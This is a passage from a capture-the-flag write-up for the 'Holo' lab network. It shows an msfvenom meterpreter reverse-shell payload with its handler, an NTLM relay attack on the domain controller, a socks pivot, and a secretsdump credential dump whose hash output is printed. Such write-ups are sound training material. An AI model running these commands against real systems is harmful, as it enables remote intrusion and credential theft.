┌──(kali㉿kali)-[~/THM/rooms/holo]
└─$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=53 -f exe > meterpreter_shell.exe
After that, we configure the metasploit handler:
1
2
3
4
5
6
7
┌──(kali㉿kali)-[~/THM/rooms/holo]
└─$ msfconsole -q
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost tun0
msf6 exploit(multi/handler) > set lport 53
msf6 exploit(multi/handler) > run
Once this is running, we transfer the meterpreter_shell.exe
to the .35
machine and execute it. This gives us a meterpreter session. Next, we continue with the ntlmrelay part.
Now that we have stopped the SMB service and can control how our traffic is routed, we can begin exploitation. First, we need to start NTLMRelayX, specifying the domain controller and protocol to exploit, in this case, SMB.
1
2
┌──(kali㉿kali)-[~/THM/rooms/holo]
└─$ sudo ntlmrelayx.py -t smb://10.200.111.30 -smb2support -socks
The final step is to configure the port forwarding. In meterpreter this can be done using the command portfwd
as seen in the screenshot. Once this port forward is set up, the ntlmrelay will start getting incoming connections.
The ntlmrelay created a sock4s proxy for us running on port 1080. By adding this to the proxychains config file, we are then able to interact with the proxy and directly communicate with the target - the DC. We will use psexec
/smbexec
to get a shell on the target!
There we go! We got system acces on the DC. The very last step is to dump all hashes of the system
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kali㉿kali)-[~/THM/rooms/holo]
└─$ secretsdump.py 'HOLOLIVE/babbadeckl:password1234!@10.200.111.30'
holo.live\okayun:aes128-cts-hmac-sha1-96:6b4d09a80db019cf26ba3747e24dbbb0
holo.live\okayun:des-cbc-md5:15ec8aa8515dc71c
holo.live\watamet:aes256-cts-hmac-sha1-96:d53c4c5126f471d3de0808f0ae65c121c16391de50f5566eb2332b619cdaa039
holo.live\watamet:aes128-cts-hmac-sha1-96:f5375d7cfc3b0ed94754ebecddd81a63
holo.live\watamet:des-cbc-md5:1ad61c4c01e3bf68
holo.live\gurag:aes256-cts-hmac-sha1-96:c98051602a306799e8d107bf72528208fd058d8005e5b8bbe071c0b8367fa497
holo.live\gurag:aes128-cts-hmac-sha1-96:45db25bacadc2fc2248954c89e99de46
holo.live\gurag:des-cbc-md5:cb37b0234c263146
....
babbadeckl:aes256-cts-hmac-sha1-96:6292013c6458b86f6d0ed064f559469e037f0f9cf88697caa86a444ba4c84d13
babbadeckl:aes128-cts-hmac-sha1-96:389136bb3840be2f6bfd33bf4aa885d1
babbadeckl:des-cbc-md5:3bfb23bcb5cde6c7
...
PC-FILESRV01$:aes256-cts-hmac-sha1-96:13ede33286b99acf5d41a99ba95a5972ce3f5d18beb460171d20be67d1c5c53e
PC-FILESRV01$:aes128-cts-hmac-sha1-96:546f72aa6631fccac202855e5f8958bd
And that’s it. We rooted all machines in the Holo network :)